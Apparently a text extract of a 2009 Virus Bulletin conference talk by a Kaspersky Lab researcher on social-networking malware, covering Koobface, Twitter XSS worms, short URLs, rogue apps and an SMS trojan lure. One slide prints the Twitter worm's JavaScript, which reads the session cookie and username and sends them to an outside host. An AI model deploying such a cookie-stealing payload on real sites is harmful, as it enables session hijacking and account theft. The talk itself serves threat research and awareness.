When web 2.0 sneezes, everyone gets sick

Stefan Tanase - Kaspersky Lab

19th Virus Bulletin International Conference
September 25th 2009, Geneva, Switzerland
Overview

- **What is web 2.0?**
- **Social networking malware**
  - General structure of a **web 2.0 attack**
  - Technical vulnerabilities, **human** factor
  - **Koobface** – the web 2.0 worm
- **Threats beyond classic malware**
  - Big problems with **short URLs**
  - Malware inside the browser: **XSS worms, 3rd party applications**
  - From web 2.0 to **mobile malware**
  - Problems **beyond malware** (privacy, data leakage)
- **Targeted attacks** become mainstream
- **Conclusions** – what’s next?
Click to edit Master title style

Brawn GP

June 10th, 2009 Event details (title, place)
Connect with the Pope on Facebook. Really.
Iran bans Facebook ahead of election

Iran has blocked the use of the popular social networking site Facebook in a move critics claim is an attempt to muzzle the opposition ahead of next month's election.
Web 2.0 – profitable business?

Facebook has $200 million investment from Russian firm

By Anupreeta Das

NEW YORK (Reuters) - A Russian Internet investment firm has invested $200 million in Facebook, giving the social networking company a cash buffer during the recession and pegging its value at $10 billion.

Digital Sky Technologies, which has invested in leading Russian web properties like Mail.ru and VKontakte.ru, will take a nearly 2 percent stake in Facebook in exchange for preferred stock, the two companies said on Tuesday.

The new valuation is $5 billion lower than when Microsoft Corp invested $243 million in Facebook, in return for a 1.6 percent stake, in 2007.

Asked about the lower valuation, Facebook co-founder and Chief Executive Mark Zuckerberg said it was a reflection of the current economic environment.
As of today, Facebook now serves 300 million people across the world. It’s a large number, but the way we think about this is that we’re just getting started on our goal of connecting everyone.

Because we want to make it as easy and fast as possible for the world to connect, one of the things we think a lot about is how to make Facebook perform even faster and more efficiently as we grow. We face a lot of fun and important challenges that require rethinking the current systems for enabling information flow across the web.

The site we all use every day is built by a relatively small group of the smartest engineers and entrepreneurs who are solving substantial problems and each making a huge impact for the 300 million people using Facebook. In fact, the ratio of Facebook users to Facebook engineers makes it so that every engineer here is responsible for more than one million users. It’s hard to have an impact like that anywhere else.

We’re also succeeding at building Facebook in a sustainable way. Earlier this year, we said we expected to be cash flow positive sometime in 2010, and I’m pleased to share that we achieved this milestone last quarter. This is important to us because it sets Facebook up to be a strong independent service for the long term.

Over time, Facebook will continue to be as strong as all of the connections you make. We’ll continue building new and better things to make connecting with the people you care about as easy and rewarding as possible. We thank all of you for helping us reach the point where we are connecting 300 million people, and we hope to serve you and many more people in increasingly deep and innovative ways in the months and years ahead.

Updated on Tuesday
What Web 2.0 is?

- wiki
- UGC
- tag
- collaboration
- FTW
- XML
- blog
- LOL
- AJAX
- mobility
- socializing
- OMG
- WEB 2.0
- API
- RSS
- flexibility
- CSS
What Web 2.0 is?

New attack vectors
Does a Golden Globe Win Hurt Heath Ledger's Oscar Chances?

slashfilm.com — Over the course of the last 20 years, only 55% of Golden Globe Supporting Actors went on to take the Supp Oscar. Also, as BadandUgly points out, if Ledger wins the Oscar, he would be the first posthumous Academy Award won b since Peter Finch for Network in 1976.
Check out my new website
http://m/g/...
Jessica Alba naked
Jessica Alba naked at Company Net
Albany, New York Area

Current
Jessica Alba naked at Company Net

Industry
Aviation & Aerospace

Websites
Jessica Alba naked PART 1
Jessica Alba naked PART 2
Jessica Alba naked PART 3

Jessica Alba naked’s Experience
Jessica Alba naked
Company Net
(Privately Held; 11-50 employees; Aviation & Aerospace industry)
Currently holds this position

Additional Information
Jessica Alba naked’s Websites:
Jessica Alba naked PART 1
Jessica Alba naked PART 2
Jessica Alba naked PART 3
Social networking malware

- Total number of malicious software samples spreading through social networks
Vulnerable systems: humans & machines

**Technical factor**
- 0-day vulnerabilities
- Lack of patches
- Unlicensed software

**Human factor**
- Social engineering
- Curious and naïve users
- Trust – a human “vulnerability”
• **Critical vulnerabilities in 2008**
The real human vulnerability
- Human factor and Kido/Conficker
General structure of a web 2.0 attack

- Malicious website
- Other web 2.0 apps
- Human factor
- Tech. factor
- Victim

June 10th, 2009 Event details (title, place)
June 2009 – Explosive growth of Koobface modifications

- The number of variants detected jumped from 324 at the end of May to almost 1000 by the end of June 2009.
- This sign of increased cybercriminal activity involving social networks in the past months proves that the strategies being used by the bad guys to infect users are much more efficient when adding the social context to the attacks.
The web 2.0 worm

Net-Worm.Win32.Koobface
Evolution of new modifications identified by Kaspersky Lab

Number of samples per day
Total number of samples

Kaspersky Lab
• June 2009 – Koobface spreading through Twitter also
  • First discovered one year ago by Kaspersky Lab, Koobface was only targeting Facebook and MySpace users
  • Being constantly “improved”, now spreading through more social networks: Facebook, MySpace, Hi5, Bebo, Tagged, Netlog and most recently... Twitter
Koobface – social engineering at work

Video posted by -WizArD-

Video Responses: 30  Text Comments: 20

babachat (4 hours ago)
Funniest thing EVER!!!

cnith1199 (5 hours ago)
Woohoo! Love this vid!!! Congrats on the front page!!! :)

sinnek1 (7 hours ago)
that... was ....... GREAT !!!

ab12 (10 hours ago)
Nice vid :)
• **Web 2.0 malware**: very similar to **email worms**

• **Infection success rate** of malware:
  - 10% when spreading through social networks
  - only 1% when spreading through email

• **Social networking threats** mean more than this
  - Social networks themselves are **vulnerable**
  - Social engineering is made easy with short URLs
  - Personal **data leakage, privacy issues**
  - Another risk: **3rd party applications**
  - Social networks open doors to **mobile malware**

• **Targeted attacks**
Twitter: comeback of the XSS worm

- XSS Worm:

What are you doing?

PeiProfit Twitter, freaking fix this already. >:[ - Mikeyy
less than 5 seconds ago from web

MichaelMillman This is all Twitters fault! Don't blame Mikeyy!!
less than 5 seconds ago from web

MichaelMillman Twitter, your community is going to be mad at you... - Mikeyy
less than 5 seconds ago from web

emmamba New blog post: See your Business Grow with SEO
http://tinyurl.com/devr79
half a minute ago from Twitter Tools

MichaelMillman Twitter, freaking fix this already. >:[ - Mikeyy
half a minute ago from web
Twitter: comeback of the XSS worm

ONE DAY IN THE LIFE OF A TWITTER WORM

var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/>/g);
var username = userreg.exec(content);
username = username[1];

var cookie;
cookie = urlencode(document.cookie);
document.write('<img src="http://mohamed7alwag.com/x.php?c=" + cookie + "&username=" + username + "";
document.write('<img src="http://stalldaily.com/log.gif"/>');
Short URLs, big problems

- June 2009 – **URL shortening service Cli.gs gets hacked**
  - **The best things** about short URLs
    - There are so many!
  - **Problems** with short URLs:
    - **Social engineering** is easy
    - **Questionable reliability**
    - **Implicit trust**
  - **Cli.gs gets hacked**, no malicious intent – but **what if?**
  - **Too many redirects hosted in the same place** is not good news
Social networking and privacy concerns
Social engineering at its best

• April 2009 – **Twitter admin panel gets hacked**

• **Public information posted to social networks** by twitter admin

• Used by French hacker in social engineering attack

• To answer Yahoo! Mail security question and **reset the password**

• “**Wow - my Yahoo mail account was just hacked.**”

• “**If anyone with Yahoo! Security is out there, hit me up with an reply**”
Third party applications

- “Photo of the Day” application - Web 2.0 botnet

Displays the photo of the day from National Geographic. Each day a different image of our fascinating universe is featured!
Third party applications

• Facebook certifies 1st batch of 120 verified apps
  • Announced in November 2008
  • Rolled out in May 2009

• $375 fee for developers
  • Must be renewed each year

• 52,000 applications in total
  • How many will get verified?

• Several bugs were discovered
From social networks to mobile malware

- Trojan-SMS.J2ME.Konov
Акция "Бонус за наш счет :)

Получи денежный приз на счет своего мобильного

Здравствуйте!

Рады сообщить Вам, что наш сайт с 1 ноября 2008 года организует акцию для всех пользователей ресурса. Вы можете получить бонус на счет мобильного телефона. Бонус зависит от тото, которое вы проделали на сайте и Вашей активности.

Ваш бонус на данный момент составляет 500 рублей. Для получения бонуса необходимо скачать JAVA программу на мобильный телефон. (Инструкция по установке ниже)

Время действия акции ограничено!

После завершения акции, вы не сможете воспользоваться данным бонусом.

У вас осталось [17 часов и 23 минуты]

JAVA программа скачивается при переходе на сайт (ссылка ниже):
http://vkbonus.tk

Как запустить:
1. Скачать программу с мобильного телефона и установить ее.
2. Скачать программу с компьютера и посредством USB-кабеля, ин-порта или Bluetooth передать ее на мобильный телефон и установить.
From social networks to mobile malware

SMS messages to premium rate numbers
Targeted attacks become mainstream

• So much **personal information becomes public** on social networks nowadays

• **Advertisers** are already doing it: **targeted ads**
  • Age, gender, location, interests, work field, browsing habits, relationships

• Targeted ads? **Targeted attacks** are already happening

• But **social networks** are enabling the cybercriminals to deliver **bulk targeted attacks**

• **The personal data is there. Next step? Automation.**
  • **Geographical IP location** has been around for a while
  • Automatic **language translation services** are getting better and better
  • **Personal interests & tastes** are public (ie: **trending topics**)
This is just the beginning!
What’s next?

• The number and complexity of threats that exploit web 2.0 will continue to grow

• Social networks will open up new ways for *bulk targeted attacks* against individuals
  • Localized, contextualized, personalized

• It will be very hard for social networks to do better: unfortunately, their business means *usability, not security*

• Be careful out there!
Thank you! Questions?

stefant@kaspersky.ro
twitter.com/stefant

Stefan Tanase – Kaspersky Lab

19th Virus Bulletin International Conference
Geneva, Switzerland – September 25th, 2009